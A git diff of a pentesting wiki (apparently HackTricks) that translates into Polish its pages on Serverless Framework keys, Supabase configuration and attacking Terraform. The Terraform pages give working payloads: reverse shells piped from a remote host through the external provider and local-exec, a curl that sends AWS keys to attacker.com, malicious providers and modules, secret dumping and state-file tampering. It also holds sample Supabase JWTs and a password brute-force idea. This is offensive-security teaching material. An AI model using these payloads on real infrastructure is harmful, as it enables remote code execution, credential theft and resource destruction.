audits. -- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data. -- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies. -- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices. +- **Zabezpiecz Pipeline'y CI/CD:** Wprowadź ścisłe kontrole dostępu, uwierzytelnianie wieloskładnikowe (MFA) i regularne audyty. +- **Bezpieczne Przechowywanie Konfiguracji:** Utrzymuj pliki wdrożeniowe wolne od zakodowanych sekretów i wrażliwych danych. +- **Użyj Narzędzi Bezpieczeństwa Infrastruktury jako Kodu (IaC):** Wykorzystaj narzędzia takie jak **Checkov** lub **Terraform Sentinel** do egzekwowania polityk bezpieczeństwa. +- **Niezmienność Wdrożeń:** Zapobiegaj nieautoryzowanym zmianom po wdrożeniu, przyjmując praktyki niezmiennej infrastruktury. --- -### **Vulnerabilities in Plugins and Extensions** +### **Luki w Wtyczkach i Rozszerzeniach** -Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications. +Używanie nieweryfikowanych lub złośliwych wtyczek stron trzecich może wprowadzać luki do aplikacji serverless. -#### **Mitigation Strategies** +#### **Strategie łagodzenia** -- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources. -- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface. -- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches. -- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises. +- **Dokładnie Weryfikuj Wtyczki:** Oceń bezpieczeństwo wtyczek przed integracją, preferując te z wiarygodnych źródeł. +- **Ogranicz Użycie Wtyczek:** Używaj tylko niezbędnych wtyczek, aby zminimalizować powierzchnię ataku. +- **Monitoruj Aktualizacje Wtyczek:** Utrzymuj wtyczki zaktualizowane, aby korzystać z poprawek bezpieczeństwa. +- **Izoluj Środowiska Wtyczek:** Uruchamiaj wtyczki w izolowanych środowiskach, aby ograniczyć potencjalne kompromitacje. --- -### **Exposure of Sensitive Endpoints** +### **Ujawnienie Wrażliwych Punktów Końcowych** -Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations. +Funkcje dostępne publicznie lub nieograniczone API mogą być wykorzystywane do nieautoryzowanych operacji. -#### **Mitigation Strategies** +#### **Strategie łagodzenia** -- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources. -- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization. -- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting. -- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use. +- **Ogranicz Dostęp do Funkcji:** Użyj VPC, grup zabezpieczeń i reguł zapory, aby ograniczyć dostęp do zaufanych źródeł. +- **Wprowadź Solidne Uwierzytelnianie:** Upewnij się, że wszystkie ujawnione punkty końcowe wymagają odpowiedniego uwierzytelniania i autoryzacji. +- **Bezpiecznie Używaj Bramek API:** Skonfiguruj bramki API, aby egzekwować polityki bezpieczeństwa, w tym walidację danych wejściowych i ograniczenie tempa. +- **Wyłącz Nieużywane Punkty Końcowe:** Regularnie przeglądaj i wyłączaj wszelkie punkty końcowe, które nie są już używane. --- -### **Excessive Permissions for Team Members and External Collaborators** +### **Nadmierne Uprawnienia dla Członków Zespołu i Zewnętrznych Współpracowników** -Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats. +Przyznawanie nadmiernych uprawnień członkom zespołu i zewnętrznym współpracownikom może prowadzić do nieautoryzowanego dostępu, naruszeń danych i nadużyć zasobów. Ryzyko to wzrasta w środowiskach, w których wiele osób ma różne poziomy dostępu, zwiększając powierzchnię ataku i potencjał zagrożeń wewnętrznych. -#### **Mitigation Strategies** +#### **Strategie łagodzenia** -- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks. +- **Zasada Najmniejszych Uprawnień:** Upewnij się, że członkowie zespołu i współpracownicy mają tylko te uprawnienia, które są niezbędne do wykonywania ich zadań. --- -### **Access Keys and License Keys Security** +### **Bezpieczeństwo Kluczy Dostępu i Kluczy Licencyjnych** -**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI. +**Klucze Dostępu** i **Klucze Licencyjne** to kluczowe poświadczenia używane do uwierzytelniania i autoryzacji interakcji z interfejsem CLI Frameworka Serverless. -- **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI. -- **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`. +- **Klucze Licencyjne:** To unikalne identyfikatory wymagane do uwierzytelnienia dostępu do Frameworka Serverless Wersja 4, które umożliwiają logowanie przez CLI. +- **Klucze Dostępu:** Poświadczenia, które pozwalają interfejsowi CLI Frameworka Serverless uwierzytelnić się z Dashboardem Frameworka Serverless. Podczas logowania za pomocą `serverless` cli klucz dostępu zostanie **wygenerowany i zapisany na laptopie**. Możesz również ustawić go jako zmienną środowiskową o nazwie `SERVERLESS_ACCESS_KEY`. -#### **Security Risks** +#### **Ryzyka Bezpieczeństwa** -1. **Exposure Through Code Repositories:** - - Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access. -2. **Insecure Storage:** - - Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage. -3. **Improper Distribution:** - - Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors. -4. **Lack of Rotation:** - - Not regularly rotating keys extends the exposure period if keys are compromised. -5. **Excessive Permissions:** - - Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources. +1. **Ujawnienie przez Repozytoria Kodów:** +- Zakodowanie lub przypadkowe zatwierdzenie Kluczy Dostępu i Kluczy Licencyjnych do systemów kontroli wersji może prowadzić do nieautoryzowanego dostępu. +2. **Niezabezpieczone Przechowywanie:** +- Przechowywanie kluczy w postaci tekstu jawnego w zmiennych środowiskowych lub plikach konfiguracyjnych bez odpowiedniego szyfrowania zwiększa prawdopodobieństwo wycieku. +3. **Niewłaściwa Dystrybucja:** +- Udostępnianie kluczy przez niezabezpieczone kanały (np. e-mail, czat) może skutkować przechwyceniem przez złośliwych aktorów. +4. **Brak Rotacji:** +- Nieregularna rotacja kluczy wydłuża okres narażenia, jeśli klucze zostaną skompromitowane. +5. **Nadmierne Uprawnienia:** +- Klucze z szerokimi uprawnieniami mogą być wykorzystywane do wykonywania nieautoryzowanych działań w wielu zasobach. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index 6fa6219f8..c2d719945 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -4,47 +4,46 @@ ## Basic Information -As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings. +Zgodnie z ich [**stroną główną**](https://supabase.com/): Supabase to otwartoźródłowa alternatywa dla Firebase. Rozpocznij swój projekt z bazą danych Postgres, uwierzytelnianiem, natychmiastowymi API, funkcjami Edge, subskrypcjami w czasie rzeczywistym, przechowywaniem i osadzeniami wektorowymi. ### Subdomain -Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`** +Zasadniczo, gdy projekt jest tworzony, użytkownik otrzymuje subdomenę supabase.co, taką jak: **`jnanozjdybtpqgcwhdiz.supabase.co`** ## **Database configuration** > [!TIP] -> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/database`** +> **Te dane można uzyskać z linku takiego jak `https://supabase.com/dashboard/project//settings/database`** -This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\ -The password is a **password the user put** previously. +Ta **baza danych** będzie wdrożona w jakimś regionie AWS, a aby się z nią połączyć, można to zrobić, łącząc się z: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (zostało to utworzone w us-west-1).\ +Hasło to **hasło, które użytkownik wprowadził** wcześniej. -Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**. +Dlatego, ponieważ subdomena jest znana i jest używana jako nazwa użytkownika, a regiony AWS są ograniczone, może być możliwe, aby spróbować **brute force hasła**. -This section also contains options to: +Ta sekcja zawiera również opcje do: -- Reset the database password -- Configure connection pooling -- Configure SSL: Reject plan-text connections (by default they are enabled) -- Configure Disk size -- Apply network restrictions and bans +- Zresetowania hasła bazy danych +- Skonfigurowania puli połączeń +- Skonfigurowania SSL: Odrzuć połączenia w formacie tekstowym (domyślnie są włączone) +- Skonfigurowania rozmiaru dysku +- Zastosowania ograniczeń i zakazów sieciowych ## API Configuration > [!TIP] -> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/api`** +> **Te dane można uzyskać z linku takiego jak `https://supabase.com/dashboard/project//settings/api`** -The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`. +URL do uzyskania dostępu do API supabase w Twoim projekcie będzie wyglądał jak: `https://jnanozjdybtpqgcwhdiz.supabase.co`. ### anon api keys -It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in +Wygeneruje również **anon API key** (`role: "anon"`), taki jak: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`, który aplikacja będzie musiała użyć, aby skontaktować się z kluczem API ujawnionym w naszym przykładzie w -It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be: +Można znaleźć API REST do kontaktu z tym API w [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), ale najbardziej interesujące punkty końcowe to:
Signup (/auth/v1/signup) - ``` POST /auth/v1/signup HTTP/2 Host: id.io.net @@ -69,13 +68,11 @@ Priority: u=1, i {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."} ``` -
-Login (/auth/v1/token?grant_type=password) - +Logowanie (/auth/v1/token?grant_type=password) ``` POST /auth/v1/token?grant_type=password HTTP/2 Host: hypzbtgspjkludjcnjxl.supabase.co @@ -100,68 +97,63 @@ Priority: u=1, i {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."} ``` -
-So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**. +Więc, za każdym razem, gdy odkryjesz klienta używającego supabase z subdomeną, którą mu przyznano (możliwe, że subdomena firmy ma CNAME nad ich subdomeną supabase), możesz spróbować **utworzyć nowe konto na platformie za pomocą API supabase**. -### secret / service_role api keys +### klucze api secret / service_role -A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**. +Sekretny klucz API również zostanie wygenerowany z **`role: "service_role"`**. Ten klucz API powinien być sekretny, ponieważ będzie mógł obejść **Row Level Security**. -The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` +Klucz API wygląda tak: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` ### JWT Secret -A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**. +**JWT Secret** również zostanie wygenerowany, aby aplikacja mogła **tworzyć i podpisywać niestandardowe tokeny JWT**. -## Authentication +## Uwierzytelnianie -### Signups +### Rejestracje > [!TIP] -> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints. +> Domyślnie supabase pozwoli **nowym użytkownikom na tworzenie kont** w Twoim projekcie, korzystając z wcześniej wspomnianych punktów końcowych API. -However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\ -This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those: +Jednak te nowe konta, domyślnie, **będą musiały zweryfikować swój adres e-mail**, aby móc zalogować się na konto. Możliwe jest włączenie **"Zezwól na anonimowe logowanie"**, aby umożliwić ludziom logowanie się bez weryfikacji adresu e-mail. Może to dać dostęp do **nieoczekiwanych danych** (otrzymują role `public` i `authenticated`).\ +To bardzo zły pomysł, ponieważ supabase pobiera opłaty za aktywnego użytkownika, więc ludzie mogą tworzyć użytkowników i logować się, a supabase będzie pobierać opłaty za tych:
-### Passwords & sessions +### Hasła i sesje -It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\ -It's recommended to **improve the requirements as the default ones are weak**. +Możliwe jest wskazanie minimalnej długości hasła (domyślnie), wymagań (brak domyślnie) i zabronienie używania wyciekłych haseł.\ +Zaleca się **poprawienie wymagań, ponieważ domyślne są słabe**. -- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...) -- Bot and Abuse Protection: It's possible to enable Captcha. +- Sesje użytkowników: Możliwe jest skonfigurowanie, jak działają sesje użytkowników (czasy oczekiwania, 1 sesja na użytkownika...) +- Ochrona przed botami i nadużyciami: Możliwe jest włączenie Captcha. -### SMTP Settings +### Ustawienia SMTP -It's possible to set an SMTP to send emails. +Możliwe jest ustawienie SMTP do wysyłania e-maili. -### Advanced Settings +### Ustawienia zaawansowane -- Set expire time to access tokens (3600 by default) -- Set to detect and revoke potentially compromised refresh tokens and timeout -- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default) -- Max Direct Database Connections: Max number of connections used to auth (10 by default) -- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default) +- Ustaw czas wygaśnięcia dla tokenów dostępu (3600 domyślnie) +- Ustaw wykrywanie i unieważnianie potencjalnie skompromitowanych tokenów odświeżania oraz czas oczekiwania +- MFA: Wskaź, ile czynników MFA może być zarejestrowanych jednocześnie na użytkownika (10 domyślnie) +- Maksymalna liczba bezpośrednich połączeń z bazą danych: Maksymalna liczba połączeń używanych do uwierzytelniania (10 domyślnie) +- Maksymalny czas trwania żądania: Maksymalny czas, przez jaki żądanie uwierzytelnienia może trwać (10s domyślnie) -## Storage +## Przechowywanie > [!TIP] -> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets). +> Supabase pozwala **przechowywać pliki** i udostępniać je za pośrednictwem URL (używa koszyków S3). -- Set the upload file size limit (default is 50MB) -- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` -- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) +- Ustaw limit rozmiaru pliku do przesłania (domyślnie 50MB) +- Połączenie S3 jest podawane za pomocą URL, takiego jak: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` +- Możliwe jest **zażądanie klucza dostępu S3**, który składa się z `access key ID` (np. `a37d96544d82ba90057e0e06131d0a7b`) i `secret access key` (np. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) -## Edge Functions +## Funkcje Edge -It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly). +Możliwe jest również **przechowywanie sekretów** w supabase, które będą **dostępne przez funkcje edge** (mogą być tworzone i usuwane z sieci, ale nie można uzyskać dostępu do ich wartości bezpośrednio). {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 09b875ff2..4c23bb885 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -2,307 +2,277 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -[From the docs:](https://developer.hashicorp.com/terraform/intro) +[Z dokumentacji:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features. +HashiCorp Terraform to **narzędzie infrastruktury jako kod**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla ludzi plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie używać spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci masowej i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS. -#### How does Terraform work? +#### Jak działa Terraform? -Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API. +Terraform tworzy i zarządza zasobami na platformach chmurowych i innych usługach za pośrednictwem ich interfejsów programowania aplikacji (API). Dostawcy umożliwiają Terraformowi pracę z praktycznie każdą platformą lub usługą z dostępnym API. ![](<../images/image (177).png>) -HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more. +HashiCorp i społeczność Terraform już napisały **ponad 1700 dostawców** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Wszystkich publicznie dostępnych dostawców można znaleźć w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych. -The core Terraform workflow consists of three stages: +Podstawowy przepływ pracy Terraform składa się z trzech etapów: -- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer. -- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration. -- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines. +- **Napisz:** Definiujesz zasoby, które mogą być rozproszone w różnych dostawcach chmurowych i usługach. Na przykład możesz stworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w sieci Virtual Private Cloud (VPC) z grupami zabezpieczeń i równoważnikiem obciążenia. +- **Zaplanuj:** Terraform tworzy plan wykonania opisujący infrastrukturę, którą utworzy, zaktualizuje lub zniszczy na podstawie istniejącej infrastruktury i twojej konfiguracji. +- **Zastosuj:** Po zatwierdzeniu Terraform wykonuje proponowane operacje w odpowiedniej kolejności, respektując wszelkie zależności zasobów. Na przykład, jeśli zaktualizujesz właściwości VPC i zmienisz liczbę maszyn wirtualnych w tym VPC, Terraform najpierw odtworzy VPC przed skalowaniem maszyn wirtualnych. ![](<../images/image (215).png>) -### Terraform Lab +### Laboratorium Terraform -Just install terraform in your computer. +Po prostu zainstaluj terraform na swoim komputerze. -Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads). +Tutaj masz [przewodnik](https://learn.hashicorp.com/tutorials/terraform/install-cli), a tutaj masz [najlepszy sposób na pobranie terraform](https://www.terraform.io/downloads). -## RCE in Terraform +## RCE w Terraform -Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**. +Terraform **nie ma platformy, która udostępnia stronę internetową lub usługę sieciową**, którą możemy enumerować, dlatego jedynym sposobem na skompromitowanie terraform jest **możliwość dodawania/modyfikowania plików konfiguracyjnych terraform**. -However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly. +Jednak terraform jest **bardzo wrażliwym komponentem** do skompromitowania, ponieważ będzie miał **uprzywilejowany dostęp** do różnych lokalizacji, aby mógł działać poprawnie. -The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**. +Głównym sposobem, w jaki atakujący może skompromitować system, na którym działa terraform, jest **skomprimitowanie repozytorium, które przechowuje konfiguracje terraform**, ponieważ w pewnym momencie będą one **interpretowane**. -Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**: +W rzeczywistości istnieją rozwiązania, które **automatycznie wykonują terraform plan/apply po utworzeniu PR**, takie jak **Atlantis**: {{#ref}} atlantis-security.md {{#endref}} -If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`. +Jeśli uda ci się skompromitować plik terraform, istnieją różne sposoby, aby przeprowadzić RCE, gdy ktoś wykona `terraform plan` lub `terraform apply`. ### Terraform plan -Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`. +Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform wywołują je cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`. -**Using an external provider** +**Używając zewnętrznego dostawcy** -Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`. - -Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`: +Terraform oferuje [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), który zapewnia sposób interakcji między Terraform a programami zewnętrznymi. Możesz użyć źródła danych `external`, aby uruchomić dowolny kod podczas `plan`. +Wstrzyknięcie do pliku konfiguracyjnego terraform czegoś takiego jak poniżej spowoduje wykonanie rev shell podczas wykonywania `terraform plan`: ```javascript data "external" "example" { - program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] +program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` - -**Using a custom provider** +**Używanie niestandardowego dostawcy** An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)): - ```javascript - terraform { - required_providers { - evil = { - source = "evil/evil" - version = "1.0" - } - } - } +terraform { +required_providers { +evil = { +source = "evil/evil" +version = "1.0" +} +} +} provider "evil" {} ``` +Dostawca jest pobierany w `init` i uruchomi złośliwy kod, gdy `plan` zostanie wykonany -The provider is downloaded in the `init` and will run the malicious code when `plan` is executed +Możesz znaleźć przykład w [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) -You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) +**Używanie zewnętrznego odniesienia** -**Using an external reference** - -Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions: - -- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: +Obie wspomniane opcje są przydatne, ale nie bardzo dyskretne (druga jest bardziej dyskretna, ale bardziej skomplikowana niż pierwsza). Możesz przeprowadzić ten atak nawet w **bardziej dyskretny sposób**, stosując się do tych sugestii: +- Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz **załadować zewnętrzny zasób**, który zawiera rev shell: ```javascript module "not_rev_shell" { - source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" +source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` +Możesz znaleźć kod rev shell w [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) - -- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell terraform w gałęzi** wewnątrz repo, coś takiego: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -You just need to make sure some payload like the following ones ends in the `main.tf` file: - +Terraform apply zostanie wykonany, aby zastosować wszystkie zmiany, możesz go również nadużyć, aby uzyskać RCE, wstrzykując **złośliwy plik Terraform z** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Musisz tylko upewnić się, że jakiś ładunek, taki jak poniższe, kończy się w pliku `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { - provisioner "local-exec" { - command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" - } +provisioner "local-exec" { +command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" +} } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { - provisioner "local-exec" { - command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" - } +provisioner "local-exec" { +command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" +} } ``` +Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, używając zewnętrznych odniesień**. -Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**. - -## Secrets Dumps - -You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like: +## Zrzuty sekretów +Możesz mieć **wartości sekretów używanych przez terraform zrzucane** uruchamiając `terraform apply`, dodając do pliku terraform coś takiego: ```json output "dotoken" { - value = nonsensitive(var.do_token) +value = nonsensitive(var.do_token) } ``` +## Wykorzystywanie plików stanu Terraform -## Abusing Terraform State Files +W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**te badania**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferują kilka interesujących opcji, aby skorzystać z pliku: -In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file: +### Usuwanie zasobów -### Deleting resources +Istnieją 2 sposoby na zniszczenie zasobów: -There are 2 ways to destroy resources: - -1. **Insert a resource with a random name into the state file pointing to the real resource to destroy** - -Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page: +1. **Wstaw zasób o losowej nazwie do pliku stanu wskazujący na rzeczywisty zasób do zniszczenia** +Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgodnie z rzeczywistym identyfikatorem zasobu wskazanym). Przykład z poprzedniej strony: ```json { - "mode": "managed", - "type": "aws_instance", - "name": "example", - "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", - "instances": [ - { - "attributes": { - "id": "i-1234567890abcdefg" - } - } - ] +"mode": "managed", +"type": "aws_instance", +"name": "example", +"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", +"instances": [ +{ +"attributes": { +"id": "i-1234567890abcdefg" +} +} +] }, ``` +2. **Zmień zasób do usunięcia w sposób, który uniemożliwia aktualizację (tak, aby został usunięty i odtworzony)** -2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)** - -For an EC2 instance, 